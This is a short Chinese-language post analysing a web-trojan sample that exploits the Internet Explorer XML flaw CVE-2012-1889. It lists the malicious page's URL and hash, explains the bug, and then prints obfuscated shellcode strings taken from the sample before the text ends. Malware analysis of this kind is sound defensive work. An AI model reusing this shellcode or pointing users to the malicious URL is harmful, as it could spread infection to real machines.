简单分析了网马样本

格式有点乱，利用的漏洞也没那么新，大家随便看看吧，欢迎交流~

一、漏洞信息收集

来源

http://a.prir.asia:82/sklh.html

 

Response contentSHA-256

0fde420792f009477206c0914d1275c0562706e431dcac4b57354ca630a0df47

 

从代码中的classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" 我们可以在网上搜索到

相关信息为

漏洞标题： IE暴雷0day漏洞（CVE-2012-1889）XML组件未名内存破坏漏洞

漏洞类型：远程代码执行

公开时间为： 2012-06-18

漏洞形式：使用DOM操作IMG节点的SRC设置nameProp属性填充调用栈，控制eax！

也就是eax的值来源于栈中，栈上的值未经初始化，被直接用作对象指针后就会出现问题，要稳定利用此漏洞就需要对eax的值进行控制，只要预先在栈上排布上我们的数据就可以实现该功能

http://www.wooyun.org/bugs/wooyun-2012-08435

http://www.freebuf.com/articles/4230.html

  二．分析过程

1. 首先查看样本内容，收集样本信息

可以通过工具或者手工查看该链接查看源代码

通过对源代码的浏览可以看出该样本是利用某种漏洞的EXP代码，根据代码中的

classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"

可以查找出漏洞利用的信息，在上一节已经对信息进行了介绍

2. 具体的EXP分析过程

从代码中我们可以在head中看到一段相对比较清晰的exploit,进而进行分析

在head中的这个JS脚本中，就是对shellcode进行构造以及堆溢出点构造的过程，

其中的shellcode部分，是变量替换的形式构造，所以我们需要拿到完成的shellcode并进行解密

手工的构造过程也就是变量拼接，通过构造出的脚本如下：

<script>

var scytxtv="%ud5db%uc9c9%u87cd%u9292%u93dc%u8e8f%uc58d%ud393%uc9d8%u8487%uce92%ud1d6%u92d5%ud6ce%ud5d1%ud893%ud8c5%ubdbd%ubdbd";

var scwapx ="%ckwmuBckwmDBckwmD%uBDBckwmD%uBDBckwmD%uBDBD%uBDBckwmD%uBckwmDBD%uBDBckwmD%uBDBckwmD%uEAEA";